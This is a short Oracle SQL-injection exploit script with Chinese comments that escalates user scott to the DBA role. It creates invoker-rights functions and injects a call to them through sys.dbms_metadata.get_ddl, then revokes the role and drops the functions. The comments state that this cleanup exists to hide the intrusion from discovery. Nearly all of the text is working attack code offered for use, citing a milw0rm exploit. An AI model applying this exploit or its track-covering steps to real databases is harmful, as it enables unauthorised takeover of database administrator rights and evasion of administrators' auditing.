--第1步:
/* 以scott用户登录oracle服务器, 给当前用户创建两个函数
create or replace function grant_dba return number
authid current_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to scott';
commit;
return 1;
end;
------------------------------------------------------
create or replace function revoke_dba return number
authid current_user is
pragma autonomous_transaction;
begin
execute immediate 'revoke dba to scott';
commit;
return 1;
end;
*/
--第2步:
/* sql注入__赋予DBA角色
declare --anonymous PL/SQL block
ret clob;
begin
ret := sys.dbms_metadata.get_ddl('''|| scott.grant_dba() ||''','');
end;
*/
--第3步:
/* 环境复原: sql注入__回收DBA角色, 并删除那两个函数
declare --anonymous PL/SQL block
ret clob;
begin
ret := sys.dbms_metadata.get_ddl('''|| scott.revoke_dba() ||''','');
end;
drop function grant_dba;
drop function revoke_dba;
*/
/*
利用oracle的dbms_metadata.get_ddl函数的漏洞, 通过sql注入方法将DBA角色赋予scott
scott得到DBA角色后, 便可以通过查看数据字典而得到很多信息,进而可以做很多事情(不要执行恶意行为!)
为了掩人耳目, 目的达到后应撤销scott的DBA角色, 删除刚才创建的那两个函数, 以复原环境,以免_注入行为_ 被轻易发现
不过,这个过程应该被记录在日志中, 系统维护员可以通过审计日志而发现这个注入行为!
[reference] http://www.milw0rm.com/exploits/3377
@freely,friendly
*/